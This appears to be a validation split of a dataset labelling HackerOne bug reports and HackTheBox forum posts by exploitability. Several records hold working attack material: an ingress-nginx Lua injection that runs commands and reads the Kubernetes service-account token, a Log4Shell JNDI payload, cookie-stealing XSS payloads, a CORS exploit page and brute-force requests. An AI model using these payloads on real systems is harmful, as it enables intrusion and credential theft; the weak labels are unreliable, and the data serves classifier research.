-{"id": "231ce774e207aae78e1d", "text": "[Cross-site Scripting (XSS) - Stored] HTML injection that may lead to XSS on HackerOne.com through H1 Triage Wizard Chrome Extension\n\nTo reproduce:\n\n* ensure you have the H1 Triage Wizard Chrome extension enabled\n* visit https://hackerone.com/reports/1622449?subject=security&/bugs=1\n* right-click the report, select \"View Triage Questionnaire (Beta)\"\n* observe an HTML payload being injected\n\n{F2173699}\n\nThe payload is stored in █████████. The contents of this file are dynamically loaded through the Chrome extension.\n\nThe vulnerability is caused by the following code in the `triage-extension-private` repository:\n\n```js\nbuildTriageQuestionnaireModal = (\n  modalElement,\n  triageQuestionnaireModalOptions\n) => {\n  let questionnaireResponses =\n    triageQuestionnaireModalOptions.questionnaireResponses;\n  if (questionnaireResponses) {\n    modalElement.innerHTML = triageQuestionnaireHTML\n      .replace(\"{{handle}}\", triageQuestionnaireModalOptions.handle) // <-- the handle here is taken from the subject parameter (i.e. \"security\")\n      .replace(\"{{1}}\", questionnaireResponses[1]) // <-- the response to the questionnaire is interpolated without sanitizing it\n      .replace(\"{{2}}\", questionnaireResponses[2]) // <-- this applies to all of these\n      .replace(\"{{3}}\", questionnaireResponses[3])\n// ...\n```\n\n## Impact\n\nThis vulnerability may lead to compromising confidential information or impact its integrity.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "91b26bcaf9ad7c93b2bb", "text": "You are in the right direction, before click on Move you must select tmp, after you can select Move and the URL will change like that ?to=tmp&from=696212415.txt&finish=1&move=1\" Now you can try to inject your payload, try to put another sub-shell before bash and try different operators,‘&’ ‘&&’ ‘|’ ‘||’ ‘$()’ ‘``’", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-11-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "74fb185453b340f86dcd", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS on  wordpress.com\n\n## Summary:\n\nHi team\n\nI found Stored XSS in wordpress.com via  app.crowdsignal.com\n\n\n## Platform(s) Affected:\n wordpress.com\n\n## Steps To Reproduce:\n1 . Go to https://app.crowdsignal.com/dashboard and create a poll\n2 . Put the payload as answer <img src=x onerror=alert(document.cookie)>\n3.  Go to Share Your Poll and Copy  the Website Popup\n4.Go to https://wordpress.com/posts add new post\n5. App Website Popup \n6. Save it\n7.Open the page and the XSS will fired\n\n█████████\n\n## Impact\n\nThe attacker can use this issue to execute malicious script code in the victim user browser also redirect the victim user to malicious sites", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-05-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d7aed284437a9c06574e", "text": "[Improper Restriction of Authentication Attempts] Full account takeover in ███████ due lack of rate limiting in forgot password\n\n##Steps:\n1. Visit the link https://www.██████/██████████and enter the valid ████████.\n2. You will be redirect to the page where it will ask you to fill your ████████ and ████████ that you get in your mail.\n3. Enter the wrong ███ and intercept the request.\n4. Then bruteforce the ███.(You can use burp intruder)\n5. After valid ████████ it will aks you to create new password\n\n##Request that I intercept\nPOST ███ HTTP/1.1\nHost: www.███████\nConnection: close\nContent-Length: 197\nCache-Control: max-age=0\nsec-ch-ua: \"Google Chrome\";v=\"87\", \" Not;A Brand\";v=\"99\", \"Chromium\";v=\"87\"\nsec-ch-ua-mobile: ?0\nOrigin: https://www.███████\nUpgrade-Insecure-Requests: 1\nDNT: 1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nReferer: https://www.█████████/█████████\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9,mr-IN;q=0.8,mr;q=0.7,hi;q=0.6\nCookie: [value]\n\n██████████&██████=[████████]\n\n## Impact\n\nAn attacker can takeover victim account if he has valid email related to the victim.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2ada99b2d5e91c18c4a4", "text": "Can anyone help me out, not sure where I’m going wrong. I have read hints from previous posts but still cant get it. here is what I’ve done: I have tried variations of #3 where I URL encode <<< with no luck", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-10-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "72b07edc85a0a2f74c60", "text": "[Unknown] Yet another SSRF query for Go\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e3dbee5457ad290945c5", "text": "[Code Injection] Ingress nginx annotation injection causes arbitrary command execution\n\nReport Submission Form\n\n## Summary:\n[add a summary of the vulnerability]\nFor CVE-2021-25742 and CVE-2021-25746, I found a bypass method, which is fatal to the current measures taken by the team\nI can easily bypass restrictions and execute arbitrary commands in the express nginx container.\n## Kubernetes Version:\n[add Kubernetes version & distribution in which the issue was found]\n\nServer Version: version.Info{Major:\"1\", Minor:\"25\", GitVersion:\"v1.25.2\", GitCommit:\"5835544ca568b757a8ecae5c153f317e5736700e\", GitTreeState:\"clean\", BuildDate:\"2022-09-21T14:27:13Z\", GoVersion:\"go1.19.1\", Compiler:\"gc\", Platform:\"linux/arm64\"}\n\n\n\n## Component Version:\n[if applicable, add component version the issue was found]\ningress-nginx/controller-v1.4.0\nhttps://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue, including relevant cluster setup and configuration]\nIn the latest version (1.4.0), alias was blacklisted,However, nginx supports lua. I can use other watches to insert any location configuration items.\nIt is meaningless to simply restrict alias instructions. Your team should start from multiple perspectives.\n\n1. minikube start\n2. kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.4.0/deploy/static/provider/cloud/deploy.yaml\n3. \n\nWe use nginx. ingress. kubernetes The io/configuration snippet annotation can be found in nginx Insert a new location in conf and execute any command through lua.\n\n```shell\ncat > su.yml<<EOF\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: ingress-exploit\n  annotations:\n    kubernetes.io/ingress.class: \"nginx\"\n    nginx.ingress.kubernetes.io/configuration-snippet: |\n      more_set_headers \"suanve\"\n            proxy_pass http://upstream_balancer;\n                                proxy_redirect                          off;\n        }\n        location /suanve/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()[\"cmd\"]);local rschar = rsfile:read(\"*all\");ngx.say(rschar); } } location /fs/{\nspec:\n  rules:\n  - host: suanve.susec.me\n    http:\n      paths:\n      - path: /\n        pathType: Prefix\n        backend:\n          service:\n            name: exploit\n            port:\n              number: 80\n\nEOF\n\nkubectl apply -f su.yml\n```\n\nThis will cause the nginx configuration to be tampered with. We can execute any command in the corresponding ingress.\n\n```shell\ncurl -v -H 'Host: suanve.susec.me' -H \"cmd: id\" 127.0.0.1/suanve/\n*   Trying 127.0.0.1:80...\n* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)\n> GET /suanve/ HTTP/1.1\n> Host: suanve.susec.me\n> User-Agent: curl/7.79.1\n> Accept: */*\n> cmd: id\n>\n* Mark bundle as not supporting multiuse\n< HTTP/1.1 200 OK\n< Date: Mon, 10 Oct 2022 09:58:18 GMT\n< Content-Type: text/html\n< Transfer-Encoding: chunked\n< Connection: keep-alive\n<\nuid=101(www-data) gid=82(www-data) groups=82(www-data)\n```\n\n* Connection #0 to host 127.0.0.1 left intact\n\n```http\nGET /suanve/ HTTP/1.1\nHost: suanve.susec.me\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate\nConnection: close\nUpgrade-Insecure-Requests: 1\ncmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token\nX-Originating-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nContent-Length: 2\n\n\n\n```\n\n\n\n\n## Supporting Material/References:\n[list any additional material (e.g. screenshots, logs, etc.)]\n{F1978646}\n\n{F1978648}\n  * [attachment / reference]\n\nhttps://hackerone.com/reports/1378175\n\nhttps://github.com/kubernetes/ingress-nginx/issues/8503\n\n## Impact\n\nArbitrary command execution\nGet kubernetes credentials", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-25742", "CVE-2021-25746"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e2432bf5fe489027208a", "text": "[Insecure Direct Object Reference (IDOR)] Campaign Account Balance and History Disclosed in API Response\n\nDuring the security assessment of the application, it has been observed that server-side authorization checks are not implemented on the 'GET /campaign-manager-api/campaignManagerAccounts/:campaignId/accountCredits?q=account' HTTP request. As a result, an attacker can fetch the campaign wallet amount details like 'totalCreditAmount', and 'remaining credit amount' history of all the victim's account.\n\n###Steps to reproduce:\n1. Log in to LinkedIn.\n2. Create an advertising account. \n███\n3. After creating the account go to - the https://www.linkedin.com/campaignmanager/accounts/XXXXX/billing/transactions page.\n4. Intercept the vulnerable requests and replay the request using the victim's campaign id. The response will disclose the campaign wallet details and history.\n███████\n\n###Vulnerable Request:\n```\nGET /campaign-manager-api/campaignManagerAccounts/█████████████/accountCredits?q=account HTTP/2\nHost: www.linkedin.com\n```\n\n###IDs for testing:\n███████████████████\n████████████\n█████████████████\n█████████████████\nThe ids are in series so can be brute forced\n\n## Impact\n\nAn attacker can access the complete wallet details like available amount and used amounts and the deposit history of victim's campaign account.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d96500eb3c2bd81c04d9", "text": "[Cross-site Scripting (XSS) - Generic] New XSS vector in ReaderMode with %READER-TITLE-NONCE%\n\n## Summary:\nPreviously, script execution in ReaderMode pages was prohibited by CSP. However, three months ago, [this commit](https://github.com/brave/brave-ios/pull/4209/files#diff-eaeef15a290e9e5e9bcaae784f18d874f8c932dfa3de416a5820eccd6b2d8cfbR54) partially relaxed the CSP and scripts with `nonce-%READER-TITLE-NONCE%` are now allowed to be executed. This relaxation of the CSP rule can be exploited for XSS attacks on ReaderMode pages.\n\nHere, the attack vector is `%READER-CREDITS%` which is also [included in the ReaderMode HTML template](https://github.com/brave/brave-ios/blob/6f667506228eeff77daf4df7c9dddae22eb0ad1b/Client/Frontend/Reader/Reader.html#L18). The `%READER-CREDITS%` is replaced with the value of the `<meta name=\"author\">` tag in the original page, but then the HTML tags are not escaped. So, when the following meta tag is embedded in the original page and the page is displayed in ReaderMode, [this Swift code](https://github.com/brave/brave-ios/blob/6f667506228eeff77daf4df7c9dddae22eb0ad1b/Client/Frontend/Reader/ReaderModeUtils.swift#L30)  replaces `%READER-TITLE-NONCE%` with the correct nonce value.\n```\n<meta name=\"author\" content=\"Evil &lt;script nonce=%READER-TITLE-NONCE%&gt;alert(document.location);&lt;/script&gt;!--\">\n```\n\nAs a result, the malicious script will be executed on a page `http://localhost:6571/reader-mode?uri={uri}&uuidkey={value}`.\nIn Brave, all readalized pages are hosted on `http://localhost:6571`. Therefore, through this XSS, any cross-origin pages, that has been converted to ReaderMode, can be stolen by embedding an iframe and reading out them. Also, please find that the `uuidkey` is included in the URL query string. By obtaining this key, the attacker can gain access to Brave's privileged pages.\n\n## Products affected: \n\n * Brave iOS 1.31.1 and higher (including the latest Nightly)\n\n## Steps To Reproduce:\n\n * Show https://csrf.jp/2021/brave/author_xss.php\n * Push reader mode button on the address bar\n * An alert dialog is shown\n\n## Supporting Material/References:\n\n * See the screenshot of the alert dialog when the bug is reproduced.\n\n## Impact\n\n* Any cross-origin pages, that has been converted to ReaderMode, can be stolen\n* Attacker can gain access to Brave's privileged pages", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "627274b26f7d55c0c342", "text": "[Unknown] [CVE-2023-38546]  cookie injection with none file\n\nhttps://hackerone.com/reports/2148242\n\n## Impact\n\ncookie injection into a program using libcurl, if several conditions are met", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-38546"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-23", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "393a38aaa88e251680a0", "text": "[Unknown] CORS Misconfiguration on vanillaforums.com\n\n**Summary:**\nAn cross-origin resource sharing (CORS) policy controls whether and how content running on other domains can perform two-way interaction with the domain that publishes the policy. The policy is fine-grained and can apply access controls per-request based on the URL and other features of the request. If the site specifies the header Access-Control-Allow-Credentials: true, third-party sites may be able to carry out privileged actions and retrieve sensitive information. This bug could be used to steal users information or force the user to execute unwanted actions. As long that a legit and logged in user is lure to access a attacker controlled HTML page\n**Description:**\nCORS misconfiguration is found on vanillaforums.com as `Access-Control-Allow-Credentials: true`.\n## Steps to reproduce:\n\n1.visit [vanillaforms site](http://vanillaforums.com/).\n2. Request:\n```\nGET /wp-json HTTP/1.1\nHost: vanillaforums.com\nCookie: _vwo_uuid_v2=D2C17FB17DC81C379C832A0EDAD6B262C|1041f46ed8870bf7a805896fe658b98f; _ga=GA1.2.2133458971.1648791765; _gid=GA1.2.798514438.1648791765; _vis_opt_s=1%7C; _fbp=fb.1.1648791765308.1582273532; _gd_visitor=2007eaf6-5e90-4849-818d-c4f2e29fd209; _gd_session=e61fd9a6-07c1-4631-874e-719a1ca3a00e; _gd_svisitor=d487d3177d2c0000d5904662da000000bf8e1200; _an_uid=2530911987610499259; __hstc=125439637.938b2fb7675932b4de7b161c45b12cef.1648791767956.1648791767956.1648791767956.1; hubspotutk=938b2fb7675932b4de7b161c45b12cef; messagesUtk=c620a59d9b2441e28c027f443a66b851; _gcl_au=1.1.243191688.1648791769; __hs_opt_out=no; __hs_initial_opt_in=true; __hssc=125439637.2.1648791767956\nSec-Ch-Ua: \" Not A;Brand\";v=\"99\", \"Chromium\";v=\"90\"\nSec-Ch-Ua-Mobile: ?0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\nOrigin: evil.com\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nSec-Fetch-Site: none\nSec-Fetch-Mode: navigate\nSec-Fetch-User: ?1\nSec-Fetch-Dest: document\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n```\nyou get an response like:\n```\nHTTP/2 200 OK\nDate: Fri, 01 Apr 2022 06:20:32 GMT\nContent-Type: application/json; charset=UTF-8\nVary: Accept-Encoding\nVary: Accept-Encoding\nX-Robots-Tag: noindex\nLink: <https://vanillaforums.com/wp-json/>; rel=\"https://api.w.org/\"\nX-Content-Type-Options: nosniff\nAccess-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link\nAccess-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type\nAllow: GET\nAccess-Control-Allow-Origin: http://evil.com\nAccess-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE\nAccess-Control-Allow-Credentials: true\nX-Powered-By: WP Engine\nX-Cacheable: SHORT\nVary: Accept-Encoding,Cookie\nCache-Control: max-age=600, must-revalidate\nX-Cache: HIT: 1\nX-Cache-Group: normal\nCf-Cache-Status: DYNAMIC\nExpect-Ct: max-age=604800, report-uri=\"https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct\"\nServer: cloudflare\nCf-Ray: 6f4f38303ea13972-MAA\nAlt-Svc: h3=\":443\"; ma=86400, h3-29=\":443\"; ma=86400\n\nand some jSON code to follow...\n```\nNote:by adding the [Like](https://vanillaforums.com/wp-json/) repose from the page in the following code developed it can be exploded \n```\n<!DOCTYPE html>\n<html>\n    <head>\n        <script>\n            function cors() {\n                var xhttp=new XMLHttpRequest();\n                    xhttp.onreadystatechange= function() {\n                        if (this.readyState == 4 && this.status ==200){\n                            document.getElementById(\"emo\").innerHTML=alert(this.responseText\n                                );\n\n                        }\n                };\n                xhttp.open('GET',\"https://vanillaforums.com/wp-json/\",true);\n                xhttp.withCredentials=true;\n                xhttp.send();\n            }\n        </script>\n    </head>\n    <body>\n        <center>\n        <h", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e79649fb8b30b5234ef2", "text": "[Business Logic Errors] captcha bypass leads to register multiple user with one valid captcha\n\n## Summary:\nHi team,\nwhen we register in valley connect, captcha now expire and we can use single valid captcha for register and call to many user.\n\n## Steps To Reproduce:\n1. go to login form : https://valleyconnect.tva.gov/registration\n2. complete form and click on submit registration, then intercept request with burp\n3. use intruder for call multiple request, we should replace email in every request.\n\n```\nPOST /registration HTTP/2\nHost: valleyconnect.tva.gov\n\nUserName=admin&Password=jgn%25%5EThgf%23rfvHRESdy56tef&ConfirmPassword=jgn%25%5EThgf%23rfvHRESdy56tef&EmailAddress=E%40jetamooz.com&EmailAddressVerify=E%40jetamooz.com&FirstName=alex&LastName=jane&Initials=&Suffix=&JobTitle=it&OrganizationType=Business+Partner&OrganizationName=sarv&Country=792&StreetAddress=sary&City=katy&Province=titi&State=AL&ZipCode=&PhoneNumber=%28934%29+734-4364&MobilePhoneNumber=%28957%29+363-4655&TimeZone=America%2FLos_Angeles&CapAnswer=U4YIQ&CapKey=XXTxVOUWZrCz6buVtsgF2cFaPHLSCKVSRQc4z4My13Bee8JiTYVZXmiPd8zLSbMc&BeCheck=\n```\n\n\n## Supporting Material/References:\n\n{F2781078}\n{F2781077}\n{F2781085}\n{F2781080}\n\n## Impact\n\nwe can bypass captcha and register too many user with one valid captcha", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e32fa66b3239c3be64d7", "text": "[Code Injection] Log4Shell: RCE 0-day exploit on █████████\n\nHi team,\nlog4 shell is recent 0-day exploit it's Java package vulnerable. ██████████ domain is vulnerable\n\n## Impact\n\nRCE\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-44228\n\n## Steps to Reproduce\n1. Go to this url => https://███████/██████=%24%7bjndi%3aldap%3a%2f%2fx%24%7bhostName%7d.LOG45200SSRF.xxxxxx.burpcollaborator.net%2fa%7d\n2. paste the poc code on  ████��█ url parameter\n3. like this =>   https://██████████/██████\n4. then burp collaborator received reverse ping back\n5. I attached poc videos and photos below\n\n##POC CODE\n${jndi:ldap://x${hostName}.log4j.xxxxxxx.burpcollaborator.net/a}\n\n## Suggested Mitigation/Remediation Actions\nhttps://www.lunasec.io/docs/blog/log4j-zero-day/", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "537fdf25325da58786ff", "text": "i tried with: bash (base64) and encoded spaces and slashes which contain after decode cat /flag.txt and all I get after putting this payload after to= or from= in burp image 806×321 17.3 KB and try cp and mv and don’t have results but malicious code denied I will appreciate your help", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "2f142a9631ed939217cf", "text": "[Uncontrolled Resource Consumption] [CVE-2023-22796] Possible ReDoS based DoS vulnerability in Active Support’s underscore\n\nI reported at https://hackerone.com/reports/1681972\n\nhttps://discuss.rubyonrails.org/t/cve-2023-22796-possible-redos-based-dos-vulnerability-in-active-supports-underscore/82116\n> A specially crafted string passed to the underscore method can cause the regular expression engine to enter a state of catastrophic backtracking. This can cause the process to use large amounts of CPU and memory, leading to a possible DoS vulnerability.\n> This affects String#underscore, ActiveSupport::Inflector.underscore, String#titleize, and any other methods using these.\n> All users running an affected release should either upgrade or use one of the workarounds immediately.\n\n## Impact\n\nReDoS when `.underscore` uses user input.\nAlso, `titleize`, `tableize`, and `foreign_key` using `.underscore` will also have the same problem.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-22796"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "e22a5ceebff98008ebe5", "text": "[Cross-site Scripting (XSS) - Reflected] Cross-site Scripting (XSS) - Reflected\n\nhello dear support\n\nCross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.\n\ni have found the issue on https://eweb01.mtn.co.ug\n\nparam and path /evds_portal_fe/change_password.htm?terminalId=\n\npayload \"%3c%3c%73%63%72%5c%61%61%61%2f%73%72%63%3d%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%70%6c%61%79%73%74%61%74%69%6f%6e%20%72%65%66%6c%65%63%74%65%64%20%78%73%73%20%42%59%20%42%34%47%47%33%52%22%29%3c%2f%73%63%72%69%70%74%3e\"\n\n\nhttps://eweb01.mtn.co.ug/evds_portal_fe/change_password.htm?terminalId=%22%3c%3c%73%63%72%5c%61%61%61%2f%73%72%63%3d%3e%3c%2f%73%63%72%69%70%74%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%70%6c%61%79%73%74%61%74%69%6f%6e%20%72%65%66%6c%65%63%74%65%64%20%78%73%73%20%42%59%20%42%34%47%47%33%52%22%29%3c%2f%73%63%72%69%70%74%3e%22\n\nURL encoded GET input terminalId was set to 19146\"();}]9520\n\nThe input is reflected inside a <script> tag between double quotes.\n\n## Impact\n\nXSS\nMalicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.\n\nFurthermore, JavaScript can read and make arbitrary modifications to the contents of a page being displayed to a user. Therefore, XSS in conjunction with some clever social engineering opens up a lot of possibilities for an attacker.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7a4cb533e5c08fb6ff10", "text": "If you know there is a stranger IPhone on your network, you can just install NetCut on Windows OS, which has a Free version forever and ARP Poison and Jail the IPhone on your network. Also you could Log into your Router and Black-List that IPhones IP or Mac Address and Keep an eye out on what happens and How many devices are connected to the Network. Computers/Phones/Tablets/IOT/Cast-Devices/Wifi-Extenders.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-10-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b71b6f1611e38f572cf5", "text": "Hello everyone Who passed the “Default Credentials” part Who can remember. There it is necessary to redo the entire script that they propose to study in order to answer the question: “Inspect the login page and perform a bruteforce attack. What is the valid username?” I’m trying to put my data from the provided machine into it изображение 807×199 23.7 KB The script freezes, you have to interrupt it. and the error always appears the same:", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-07-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "de7f6869cf5937e2362e", "text": "Has someone used the logrotten exploit in this module? I am having lot of trouble executing the payload and I dont know what am I doing wrong", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d6f9605ae3524415f9a5", "text": "[Unknown] [GO]: [CWE-090: LDAP Injection All For One]\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3b88596e441d972f6c38", "text": "[Improper Access Control - Generic] Attacker is able to query Github repositories of arbitrary Shopify Hydrogen Users\n\n## Summary:\nShopify Hydrogen is a framework (based on React) that let you build personalized custom storefronts in a performant way. The Hydrogen app from the Shopify App Store supports to create a custom storefront with the Hydrogen framework (initial setup, deployment to Oxygen, etc.). Therefore, the user has to connect his GitHub account to the Hydrogen App.\nAn attacker is able to query the GitHub account / the private repositories of any Hydrogen user.\n\n## Shops Used to Test:\nhttps://19kun-27.myshopify.com (Victim) (Shopify Plus Store)\nhttps://19kun-19.myshopify.com (Attacker) (Development Store)\n\n## Steps To Reproduce:\n\n  1.  (Victim) Create a Shopify Plus store and install the Hydrogen app from the Shopify App Store  (https://apps.shopify.com/hydrogen)\n  2.  (Victim) Open the Hydrogen app and connect  a  Github account (make sure the Github account has several private repositories)\n  3. (Victim) Click on \"Create Storefront\":  \n{F1910344}\n  4. (Victim) You should now see the connected GitHub account, including the private repositories:  \n{F1910353}\n  5. (Victim) In the background some HTTP requests are sent to the server, including to the vulnerable GraphQL operation **GitHubRepositoriesQuery**. Remember the `ownerName` and the `ownerId` of the victim for exploitation:  \n████\n  6. (Attacker) Log in to your store (e.g. a development store) and send following request with your attacker account to the server. Replace  the `<OWNER_NAME>` and `<OWNER_ID>` of the victim from the previous step and also replace the other placeholders `<ATTACKER_SHOPIFY_DOMAIN>`, `<COOKIES_ATTACKER>` and `<CSRF_TOKEN_ATTACKER>`:  \n```\nPOST /admin/internal/web/graphql/core?operation=GitHubRepositoriesQuery&type=query HTTP/2\nHost: <ATTACKER_SHOPIFY_DOMAIN>\nCookie: <COOKIES_ATTACKER>\nContent-Length: 778\nSec-Ch-Ua: \"Chromium\";v=\"105\", \"Not)A;Brand\";v=\"8\"\nX-Csrf-Token: <CSRF_TOKEN_ATTACKER>\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36\nContent-Type: application/json\nAccept: application/json\nX-Shopify-Web-Force-Proxy: 1\nSec-Ch-Ua-Platform: \"macOS\"\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nAccept-Encoding: gzip, deflate\nAccept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7\n\n{\n   \"operationName\":\"GitHubRepositoriesQuery\",\n   \"variables\":{\n      \"ownerName\":\"<OWNER_NAME>\",\n      \"ownerId\":<OWNER_ID>,\n      \"searchQuery\":\"\",\n      \"pageSize\":15\n   },\n   \"query\":\"query GitHubRepositoriesQuery($ownerName: String!, $ownerId: Int, $searchQuery: String, $pageSize: Int, $cursor: String) {\\n  onlineStore {\\n    versionControlGithub {\\n      repositories(\\n        ownerName: $ownerName\\n        ownerId: $ownerId\\n        first: $pageSize\\n        searchQuery: $searchQuery\\n        after: $cursor\\n      ) {\\n        totalCount\\n        endCursor\\n        hasNextPage\\n        nodes {\\n          id\\n          name\\n          description\\n          writeAccess\\n          defaultBranchName\\n          __typename\\n        }\\n        __typename\\n      }\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"\n}\n``` \n  7. (Attacker) The attacker should now be able to see the private repositories of the victim in the server's response (like in ████)\n\n## Impact\n\nAn attacker is able to use the GitHub access token of arbitrary users to get private information about the connected GitHub account (e.g. private repositories)", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-03-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3bd4de434a516d7ae6a1", "text": "[Open Redirect] Open Redirect\n\nThe following URL is vulnerable to an open redirect (it will redirect to example.com):\nhttps://█████?redirecturl=https://example.com\nI hope you know the impact of open redirect and more info refer\n\n## Impact\n\nUser can be redirect to malicious site.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
